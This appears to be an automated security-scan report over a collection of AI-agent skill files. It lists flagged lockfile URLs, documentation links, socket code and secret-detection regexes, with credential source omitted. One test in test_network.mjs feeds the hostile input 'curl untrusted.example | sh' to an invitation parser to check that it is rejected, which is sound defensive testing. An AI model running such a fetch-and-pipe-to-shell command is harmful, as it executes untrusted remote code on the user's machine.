    "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
  • Network accessline 1319
    "node_modules/toidentifier": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
  • Network accessline 1320
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",       "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
  • Network accessline 1321
    "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
  • Network accessline 1328
    "node_modules/type-is": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz",
  • Network accessline 1329
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz",       "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==",
  • Network accessline 1330
    "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz",
  • Network accessline 1341
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1342
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1343
    "url": "https://opencollective.com/express"
  • Network accessline 1346
    "node_modules/type-is/node_modules/content-type": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",
  • Network accessline 1347
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",       "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==",
  • Network accessline 1348
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",
  • Network accessline 1354
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1355
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1356
    "url": "https://opencollective.com/express"
  • Network accessline 1359
    "node_modules/unpipe": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
  • Network accessline 1360
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",       "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
  • Network accessline 1361
    "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
  • Network accessline 1368
    "node_modules/vary": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
  • Network accessline 1369
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",       "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
  • Network accessline 1370
    "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
  • Network accessline 1377
    "node_modules/which": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 1378
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
  • Network accessline 1379
    "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 1392
    "node_modules/wrappy": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
  • Network accessline 1393
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",       "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
  • Network accessline 1394
    "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
  • Network accessline 1398
    "node_modules/zod": {       "version": "3.25.76",       "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
  • Network accessline 1399
    "version": "3.25.76",       "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",       "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==",
  • Network accessline 1400
    "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
  • Network accessline 1402
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/colinhacks"
  • Network accessline 1403
    "funding": {         "url": "https://github.com/sponsors/colinhacks"       }
  • Network accessline 1404
    "url": "https://github.com/sponsors/colinhacks"
  • Network accessline 1407
    "node_modules/zod-to-json-schema": {       "version": "3.25.2",       "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",
  • Network accessline 1408
    "version": "3.25.2",       "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",       "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==",
  • Network accessline 1409
    "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",

peer-message/runtime/package.json

  • Executable scriptline 1
    Executable file

peer-message/scripts/codex_live.py

  • Executable scriptline 1
    #!/usr/bin/env python3

peer-message/scripts/coordination.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 65
    [Credential-related source omitted]

peer-message/scripts/install_native_guard.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]

peer-message/scripts/native-guard.sh

  • Executable scriptline 1
    #!/bin/bash

peer-message/scripts/native_guard.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 91
    [Credential-related source omitted]

peer-message/scripts/network-agentpair.mjs

  • Executable scriptline 1
    Executable file

peer-message/scripts/network-common.mjs

  • Executable scriptline 1
    Executable file

peer-message/scripts/network-daemon.mjs

  • Executable scriptline 1
    Executable file

peer-message/scripts/network-host.mjs

  • Executable scriptline 1
    Executable file

peer-message/scripts/network-state.mjs

  • Executable scriptline 1
    Executable file

peer-message/scripts/peer-network.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 57
    [Credential-related source omitted]
  • Network accessline 58
    [Credential-related source omitted]
  • Network accessline 59
    [Credential-related source omitted]

peer-message/scripts/peer.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 454
    [Credential-related source omitted]
  • Access to secretsline 457
    [Credential-related source omitted]
  • Access to secretsline 460
    [Credential-related source omitted]
  • Access to secretsline 483
    [Credential-related source omitted]
  • Access to secretsline 488
    [Credential-related source omitted]
  • Access to secretsline 496
    [Credential-related source omitted]
  • Access to secretsline 497
    [Credential-related source omitted]
  • Access to secretsline 498
    [Credential-related source omitted]
  • Access to secretsline 565
    [Credential-related source omitted]
  • Network accessline 658
    + "\n"     ).encode("utf-8")     client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 659
    ).encode("utf-8")     client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)     client.settimeout(5)
  • Network accessline 660
    client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Access to secretsline 1693
    [Credential-related source omitted]
  • Access to secretsline 1697
    [Credential-related source omitted]
  • Access to secretsline 1699
    [Credential-related source omitted]
  • Access to secretsline 1700
    [Credential-related source omitted]

peer-message/tests/fixtures/coordination_v117.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 30
    [Credential-related source omitted]

peer-message/tests/test_cli_error_receipts.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 22
    [Credential-related source omitted]

peer-message/tests/test_codex_live.py

  • Executable scriptline 1
    #!/usr/bin/env python3

peer-message/tests/test_coord_actor.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]

peer-message/tests/test_coordination.py

  • Executable scriptline 1
    Executable file

peer-message/tests/test_discovery_output.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 235
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Access to secretsline 307
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]
  • Access to secretsline 342
    [Credential-related source omitted]
  • Access to secretsline 375
    [Credential-related source omitted]

peer-message/tests/test_native_guard.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 198
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]

peer-message/tests/test_network.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 86
    }); test('invitation parsing rejects expiry, credential URLs, remote plaintext and command text',()=>{   const invitation={version:1,name:'peer',peer:'ed25519:fixture',code:'fixture-code',relay:'https://relay.example',expires_at:Date.now()+
  • Network accessline 87
    test('invitation parsing rejects expiry, credential URLs, remote plaintext and command text',()=>{   const invitation={version:1,name:'peer',peer:'ed25519:fixture',code:'fixture-code',relay:'https://relay.example',expires_at:Date.now()+6000
  • Network accessline 88
    const invitation={version:1,name:'peer',peer:'ed25519:fixture',code:'fixture-code',relay:'https://relay.example',expires_at:Date.now()+60000};
  • Network accessline 89
    assert.equal(decodeInvite(encodeInvite(invitation)).name,'peer');   assert.throws(()=>decodeInvite(encodeInvite({...invitation,expires_at:1})),/expired/);   assert.throws(()=>relayUrl('http://remote.example'),/HTTPS/);
  • Network accessline 90
    assert.throws(()=>decodeInvite(encodeInvite({...invitation,expires_at:1})),/expired/);   assert.throws(()=>relayUrl('http://remote.example'),/HTTPS/);   assert.throws(()=>relayUrl('https://user:password@relay.example'),/credentials/);
  • Network accessline 91
    assert.throws(()=>relayUrl('http://remote.example'),/HTTPS/);   assert.throws(()=>relayUrl('https://user:password@relay.example'),/credentials/);   assert.throws(()=>decodeInvite('curl untrusted.example | sh'),/Invalid/);
  • Network accessline 92
    assert.throws(()=>relayUrl('https://user:password@relay.example'),/credentials/);   assert.throws(()=>decodeInvite('curl untrusted.example | sh'),/Invalid/);   assert.equal(relayUrl('http://127.0.0.1:9000/'),'http://127.0.0.1:9000');
  • Dangerous shell operationline 93
    assert.throws(()=>decodeInvite('curl untrusted.example | sh'),/Invalid/);
  • Network accessline 93
    assert.throws(()=>decodeInvite('curl untrusted.example | sh'),/Invalid/);
  • Network accessline 94
    assert.equal(relayUrl('http://127.0.0.1:9000/'),'http://127.0.0.1:9000');

peer-message/tests/test_peer.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 501
    def server():                 listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 502
    listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Access to secretsline 741
    [Credential-related source omitted]
  • Access to secretsline 753
    [Credential-related source omitted]
  • Access to secretsline 763
    [Credential-related source omitted]
  • Access to secretsline 775
    [Credential-related source omitted]
  • Access to secretsline 1404
    [Credential-related source omitted]
  • Access to secretsline 1418
    [Credential-related source omitted]
  • Access to secretsline 1428
    [Credential-related source omitted]
  • Access to secretsline 1434
    [Credential-related source omitted]
  • Access to secretsline 1442
    [Credential-related source omitted]
  • Access to secretsline 1489
    [Credential-related source omitted]
  • Access to secretsline 1502
    [Credential-related source omitted]
  • Network accessline 1566
    def server():                 listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 1567
    listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

peer-message/tests/test_receive_integrity.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 90
    [Credential-related source omitted]

peer-message/tests/test_state_coordination.py

  • Executable scriptline 1
    Executable file

peer-message/tests/test_status_output.py

  • Executable scriptline 1
    Executable file

product-growth/references/method-sources.md

  • Network accessline 7
    - [Berezovsky, How to measure cohort retention](https://www.lennysnewsletter.com/p/measuring-cohort-retention): define return events and cohort conventions; compare compatible sources and adapt cadence/eligibility.
  • Network accessline 8
    - [Rachitsky, How to determine your activation metric](https://www.lennysnewsletter.com/p/how-to-determine-your-activation): move from candidate value moments/associations to intervention testing. Respect source access; do not require a sub
  • Network accessline 9
    - [Kohavi et al., Controlled experiments on the web](https://ai.stanford.edu/~ronnyk/2009controlledExperimentsOnTheWebSurvey.pdf): plan evaluation criteria, power and randomization; consider uncertainty, practical value and maintenance cost
  • Network accessline 10
    - [Stripe, Subscription analytics](https://docs.stripe.com/billing/subscriptions/analytics): reconcile provider-specific recurring-revenue/customer/usage definitions, without treating billing defaults as universal accounting rules.
  • Network accessline 11
    - [Holtz et al., Reducing Interference Bias in Online Marketplace Experiments Using Cluster Randomization](https://pubsonline.informs.org/doi/10.1287/mnsc.2020.01157): inspect market interference/design tradeoffs; avoid assuming clustering 
  • Network accessline 12
    - [CHAOSS, Project Awareness](https://www.chaoss.community/kb/metrics-model-project-awareness/): distinguish visible attention from the broader results it may proxy; measure accepted work and ongoing value separately when observable.

prompt-optimizer/SKILL.md

  • Network accessline 16
    **Methodology inspired by:** This skill's approach to combining EARS with domain theory grounding was inspired by [阿星AI工作室 (A-Xing AI Studio)](https://mp.weixin.qq.com/s/yUVX-9FovSq7ZGChkHpuXQ), which demonstrated practical EARS application

prompt-optimizer/references/examples.md

  • Network accessline 3
    > **Attribution:** Example 1 (Procrastination Eliminator App) is adapted from [阿星AI工作室 (A-Xing AI Studio)](https://mp.weixin.qq.com/s/yUVX-9FovSq7ZGChkHpuXQ), which pioneered the practical application of EARS methodology combined with domai
  • Network accessline 302
    [Credential-related source omitted]
  • Network accessline 303
    [Credential-related source omitted]

promptfoo-evaluation/SKILL.md

  • Network accessline 10
    This skill provides guidance for configuring and running LLM evaluations using [Promptfoo](https://www.promptfoo.dev/), an open-source CLI tool for testing and comparing LLM outputs.
  • Network accessline 44
    # yaml-language-server: $schema=https://promptfoo.dev/config-schema.json
  • Network accessline 193
    id: anthropic:messages:claude-sonnet-4-6       config:         apiBaseUrl: https://your-relay.example.com/api
  • Network accessline 195
    apiBaseUrl: https://your-relay.example.com/api
  • Network accessline 265
    config:       max_tokens: 4096       apiBaseUrl: https://your-relay.example.com/api  # Promptfoo appends /v1/messages
  • Network accessline 267
    apiBaseUrl: https://your-relay.example.com/api  # Promptfoo appends /v1/messages
  • Access to secretsline 278
    [Credential-related source omitted]

promptfoo-evaluation/references/promptfoo_api.md

  • Network accessline 27
    temperature: 0.7       # For relay/proxy APIs:       # apiBaseUrl: https://your-relay.example.com/api
  • Network accessline 29
    # apiBaseUrl: https://your-relay.example.com/api
  • Network accessline 204
    - id: anthropic:messages:claude-sonnet-4-6     config:       apiBaseUrl: https://your-relay.example.com/api
  • Network accessline 206
    apiBaseUrl: https://your-relay.example.com/api
  • Network accessline 213
    id: anthropic:messages:claude-sonnet-4-6         config:           apiBaseUrl: https://your-relay.example.com/api  # Must repeat here
  • Network accessline 215
    apiBaseUrl: https://your-relay.example.com/api  # Must repeat here
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]

promptfoo-evaluation/scripts/metrics.py

  • Executable scriptline 1
    #!/usr/bin/env python3

qa-expert/assets/templates/TEST-CASE-TEMPLATE.md

  • Network accessline 92
    **Prerequisites**: - Application running on http://localhost:8080
  • Network accessline 93
    - Application running on http://localhost:8080

qa-expert/references/day1_onboarding.md

  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 46
    pnpm dev # Verify: http://localhost:8080 (or configured port)
  • Network accessline 47
    # Verify: http://localhost:8080 (or configured port)
  • Dangerous shell operationline 125
    rm -rf ~/.claude/skills/<skill-name>
  • Network accessline 194
    **Essential links**: - Local website (http://localhost:8080 or configured port)
  • Network accessline 195
    - Local website (http://localhost:8080 or configured port)
  • Access to secretsline 309
    [Credential-related source omitted]

qa-expert/references/file-persistence-cli-acceptance.md

  • Network accessline 71
    Technical boundaries: [RFC 8259 §8](https://www.rfc-editor.org/rfc/rfc8259#section-8)
  • Network accessline 72
    distinguishes JSON interoperability from Unicode edge cases; the [Node.js TextDecoder options](https://nodejs.org/api/util.html#new-textdecoderencoding-options) define fatal decoding and BOM handling, and
  • Network accessline 73
    [Node.js TextDecoder options](https://nodejs.org/api/util.html#new-textdecoderencoding-options)
  • Network accessline 74
    define fatal decoding and BOM handling, and [Node.js process I/O](https://nodejs.org/api/process.html#a-note-on-process-io) explains why early process exit can lose pending stdout. Apply the actual
  • Network accessline 75
    [Node.js process I/O](https://nodejs.org/api/process.html#a-note-on-process-io)

qa-expert/references/google_testing_standards.md

  • Network accessline 314
    **References**: - [Google Testing Blog](https://testing.googleblog.com/)
  • Network accessline 315
    - [Google Testing Blog](https://testing.googleblog.com/)
  • Network accessline 316
    - [Google SWE Book - Testing](https://abseil.io/resources/swe-book)
  • Network accessline 317
    - [Test Pyramid Concept](https://martinfowler.com/bliki/TestPyramid.html)

qa-expert/references/llm_prompts_library.md

  • Network accessline 28
    3. Test users created (regular, admin, moderator) 4. CLI installed (if applicable) - global and/or local 5. Dev server running at http://localhost:8080
  • Network accessline 29
    4. CLI installed (if applicable) - global and/or local 5. Dev server running at http://localhost:8080 6. First test case executed successfully
  • Network accessline 30
    5. Dev server running at http://localhost:8080
  • Network accessline 382
    3. Check data: docker exec <container-name> psql -U postgres -d postgres -c "SELECT COUNT(*) FROM <table>;"    - Does the database still have seeded data? 4. Check dev server: curl http://localhost:8080
  • Network accessline 383
    - Does the database still have seeded data? 4. Check dev server: curl http://localhost:8080    - Is the dev server responding?
  • Network accessline 384
    4. Check dev server: curl http://localhost:8080

qa-expert/references/runtime-compatibility-acceptance.md

  • Network accessline 86
    - [Python path modules and version-specific `isabs`](https://docs.python.org/3.13/library/os.path.html#os.path.isabs)
  • Network accessline 87
    - [Python 3.12 `os.pidfd_open` and Linux availability](https://docs.python.org/3.12/library/os.html#os.pidfd_open) - [Node.js platform-specific path APIs](https://nodejs.org/api/path.html#pathwin32) - [Node.js v24.14.0 normalization and res
  • Network accessline 88
    - [Node.js platform-specific path APIs](https://nodejs.org/api/path.html#pathwin32)
  • Network accessline 89
    - [Node.js v24.14.0 normalization and resolution](https://nodejs.org/download/release/v24.14.0/docs/api/path.html#pathnormalizepath)

qa-expert/scripts/calculate_metrics.py

  • Executable scriptline 1
    #!/usr/bin/env python3

qa-expert/scripts/init_qa_project.py

  • Executable scriptline 1
    #!/usr/bin/env python3

repomix-safe-mixer/SKILL.md

  • Network accessline 51
    🔴 supabase_url: 1 instance(s)    - src/client.ts:5      Match: https://your-project-ref.supabase.co
  • Network accessline 53
    Match: https://your-project-ref.supabase.co
  • Network accessline 155
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Network accessline 173
    [Credential-related source omitted]
  • Network accessline 174
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Access to secretsline 214
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Access to secretsline 225
    [Credential-related source omitted]

repomix-safe-mixer/references/common_secrets.md

  • Network accessline 33
    **R2 Account ID**: - Pattern: `[0-9a-f]{32}` (in R2 URLs) - Example: `89ff427005e1767943b5ac257905a280` in `https://89ff427005e1767943b5ac257905a280.r2.cloudflarestorage.com`
  • Network accessline 34
    - Pattern: `[0-9a-f]{32}` (in R2 URLs) - Example: `89ff427005e1767943b5ac257905a280` in `https://89ff427005e1767943b5ac257905a280.r2.cloudflarestorage.com` - Risk: Account identification, targeted attacks
  • Network accessline 35
    - Example: `89ff427005e1767943b5ac257905a280` in `https://89ff427005e1767943b5ac257905a280.r2.cloudflarestorage.com`
  • Network accessline 49
    **Project URL**: - Pattern: `https://[a-z]{20}.supabase.co`
  • Network accessline 50
    - Pattern: `https://[a-z]{20}.supabase.co`
  • Network accessline 51
    - Example: `https://your-project-ref.supabase.co`
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Network accessline 203
    [Credential-related source omitted]
  • Network accessline 209
    [Credential-related source omitted]
  • Access to secretsline 210
    [Credential-related source omitted]
  • Network accessline 221
    [Credential-related source omitted]
  • Network accessline 222
    [Credential-related source omitted]
  • Access to secretsline 226
    [Credential-related source omitted]
  • Access to secretsline 227
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]
  • Access to secretsline 230
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 251
    [Credential-related source omitted]
  • Network accessline 252
    [Credential-related source omitted]

repomix-safe-mixer/scripts/safe_pack.py

  • Executable scriptline 1
    #!/usr/bin/env python3

repomix-safe-mixer/scripts/scan_secrets.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 17
    'aws_access_key': r'(?i)AKIA[0-9A-Z]{16}',     'aws_secret_key': r'(?i)(?:aws_secret|aws.{0,20}secret).{0,20}[=:]\s*["\']?([0-9a-zA-Z/+=]{40})["\']?',     'supabase_url': r'https://[a-z]{20}\.supabase\.co',
  • Network accessline 18
    'aws_secret_key': r'(?i)(?:aws_secret|aws.{0,20}secret).{0,20}[=:]\s*["\']?([0-9a-zA-Z/+=]{40})["\']?',     'supabase_url': r'https://[a-z]{20}\.supabase\.co',     'supabase_anon_key': r'eyJ[A-Za-z0-9_-]*\.eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9_-]*'
  • Network accessline 19
    'supabase_url': r'https://[a-z]{20}\.supabase\.co',
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]

repomix-unmixer/SKILL.md

  • Dangerous shell operationline 262
    rm -rf /tmp/output && mkdir /tmp/output

repomix-unmixer/references/repomix-format.md

  • Network accessline 445
    - Repomix documentation: https://github.com/yamadashy/repomix
  • Network accessline 446
    - Repomix output examples: Check the repomix repository for sample outputs - XML specification: https://www.w3.org/XML/ - JSON specification: https://www.json.org/
  • Network accessline 447
    - XML specification: https://www.w3.org/XML/
  • Network accessline 448
    - JSON specification: https://www.json.org/

repomix-unmixer/references/validation-workflow.md

  • Network accessline 442
    - Skill creator documentation: `~/.claude/plugins/marketplaces/anthropics-skills/skill-creator/SKILL.md` - Skill authoring best practices: https://docs.claude.com/en/docs/agents-and-tools/agent-skills/best-practices.md
  • Network accessline 443
    - Skill authoring best practices: https://docs.claude.com/en/docs/agents-and-tools/agent-skills/best-practices.md

repomix-unmixer/scripts/unmix_repomix.py

  • Executable scriptline 1
    #!/usr/bin/env python3

report-with-html/assets/examples/source-preview/demo-pdf.html

  • Network accessline 119
    const pdfBinding=Object.freeze({sourceId:'synthetic-pdf-page-2',originalUrl:normalizedPdfUrl('synthetic.pdf'),originalSha256:'b76e9bb757b311728bd272f0d2fe818f9db8deaa6ebaa41c56a4c44dfd4713dc',page:2,previewUrl:new URL('pdf-page-2.png',docum
  • Network accessline 120
    const sha256=async bytes=>[...new Uint8Array(await crypto.subtle.digest('SHA-256',bytes))].map(b=>b.toString(16).padStart(2,'0')).join(''); const fetchAssetHash=async url=>{const response=await fetch(url);if(!response.ok)throw Error('PDF so
  • Network accessline 121
    const fetchAssetHash=async url=>{const response=await fetch(url);if(!response.ok)throw Error('PDF source asset unavailable');return sha256(await response.arrayBuffer());};

report-with-html/assets/regen-docs-template.py

  • Executable scriptline 1
    #!/usr/bin/env python3

report-with-html/references/audience-triage.md

  • Network accessline 64
    phenomenon in usability research — a **phantom problem**: "identifying a label as confusing   for users, when in fact the specialized user base is very familiar with the term" (Jeff   Sauro, [*Managing False Positives in UX Research*](https
  • Network accessline 65
    for users, when in fact the specialized user base is very familiar with the term" (Jeff   Sauro, [*Managing False Positives in UX Research*](https://measuringu.com/false-positives/),   MeasuringU, 2016).
  • Network accessline 66
    Sauro, [*Managing False Positives in UX Research*](https://measuringu.com/false-positives/),
  • Network accessline 161
    **§1 — Usability/UX research methodology** - Employees/insiders are a legitimate test population *when they are the real target audience*:   Angie Li, [*Employees as Usability-Test Participants*](https://www.nngroup.com/articles/employees-u
  • Network accessline 162
    - Employees/insiders are a legitimate test population *when they are the real target audience*:   Angie Li, [*Employees as Usability-Test Participants*](https://www.nngroup.com/articles/employees-user-test/),   NN/G, 2016.
  • Network accessline 163
    Angie Li, [*Employees as Usability-Test Participants*](https://www.nngroup.com/articles/employees-user-test/),
  • Network accessline 164
    NN/G, 2016. - "Phantom problems" — the named concept behind declared-known-term findings — Jeff Sauro,   [*Managing False Positives in UX Research*](https://measuringu.com/false-positives/),
  • Network accessline 165
    - "Phantom problems" — the named concept behind declared-known-term findings — Jeff Sauro,   [*Managing False Positives in UX Research*](https://measuringu.com/false-positives/),   MeasuringU, 2016.
  • Network accessline 166
    [*Managing False Positives in UX Research*](https://measuringu.com/false-positives/),
  • Network accessline 169
    only ~20% finding-overlap across evaluators in the cited data — Hertzum, M., & Jacobsen,   N. E. (2001), *The Evaluator Effect*, International Journal of Human-Computer Interaction,   15(1) ([author copy](https://mortenhertzum.dk/publ/IJHCI
  • Network accessline 170
    N. E. (2001), *The Evaluator Effect*, International Journal of Human-Computer Interaction,   15(1) ([author copy](https://mortenhertzum.dk/publ/IJHCI2003.pdf)). This is why the triage   step treats a single review cycle's raw findings as in
  • Network accessline 171
    15(1) ([author copy](https://mortenhertzum.dk/publ/IJHCI2003.pdf)). This is why the triage
  • Network accessline 173
    - Cognitive Walkthrough requires a *written, pre-declared* statement of assumed user   background before the walkthrough runs: Wharton, Rieman, Lewis & Polson (1994), in Nielsen &   Mack (eds.), *Usability Inspection Methods* ([ACM DL](http
  • Network accessline 174
    background before the walkthrough runs: Wharton, Rieman, Lewis & Polson (1994), in Nielsen &   Mack (eds.), *Usability Inspection Methods* ([ACM DL](https://dl.acm.org/doi/10.5555/189200.189214));   modern treatment in Kim Flaherty, [*Evalu
  • Network accessline 175
    Mack (eds.), *Usability Inspection Methods* ([ACM DL](https://dl.acm.org/doi/10.5555/189200.189214));
  • Network accessline 176
    modern treatment in Kim Flaherty, [*Evaluate Interface Learnability with Cognitive   Walkthroughs*](https://www.nngroup.com/articles/cognitive-walkthroughs/), NN/G, 2022. This   supports committing the assumed-background list *before* the r
  • Network accessline 177
    Walkthroughs*](https://www.nngroup.com/articles/cognitive-walkthroughs/), NN/G, 2022. This
  • Network accessline 182
    - Novice evaluator output filtered by an expert before it counts as an official finding: De   Lima Salgado et al. (2018), [*Guiding Usability Newcomers to Understand the Context of   Use*](https://link.springer.com/chapter/10.1007/978-3-319
  • Network accessline 183
    Lima Salgado et al. (2018), [*Guiding Usability Newcomers to Understand the Context of   Use*](https://link.springer.com/chapter/10.1007/978-3-319-76430-6_7) (collaborative   heuristic evaluation).
  • Network accessline 184
    Use*](https://link.springer.com/chapter/10.1007/978-3-319-76430-6_7) (collaborative
  • Network accessline 220
    Miro, Planio, Plane, KaiRise) do not carry an explicit audience field. - The strongest single analogy: Martin Fowler (from Ian Robinson), [*Consumer-Driven   Contracts: A Service Evolution Pattern*](https://www.martinfowler.com/articles/con
  • Network accessline 221
    - The strongest single analogy: Martin Fowler (from Ian Robinson), [*Consumer-Driven   Contracts: A Service Evolution Pattern*](https://www.martinfowler.com/articles/consumerDrivenContracts.html) —   "consumer contracts are... non-authorita
  • Network accessline 222
    Contracts: A Service Evolution Pattern*](https://www.martinfowler.com/articles/consumerDrivenContracts.html) —
  • Network accessline 227
    "I don't understand X" is not automatically a breach unless X falls outside what the real   contract promised. - Google SRE Workbook, [*Postmortem Culture*](https://sre.google/workbook/postmortem-culture/):
  • Network accessline 228
    contract promised. - Google SRE Workbook, [*Postmortem Culture*](https://sre.google/workbook/postmortem-culture/):   explicitly names undefined internal jargon in a postmortem as a defect, but its prescribed
  • Network accessline 229
    - Google SRE Workbook, [*Postmortem Culture*](https://sre.google/workbook/postmortem-culture/):
  • Network accessline 234
    real. - Named triage-role patterns from adjacent domains — Red/Blue/Purple team in security   ([Praetorian, *Red Team vs. Blue Team vs. Purple Team*](https://www.praetorian.com/security-101/red-team-vs-blue-team-vs-purple-team/)),
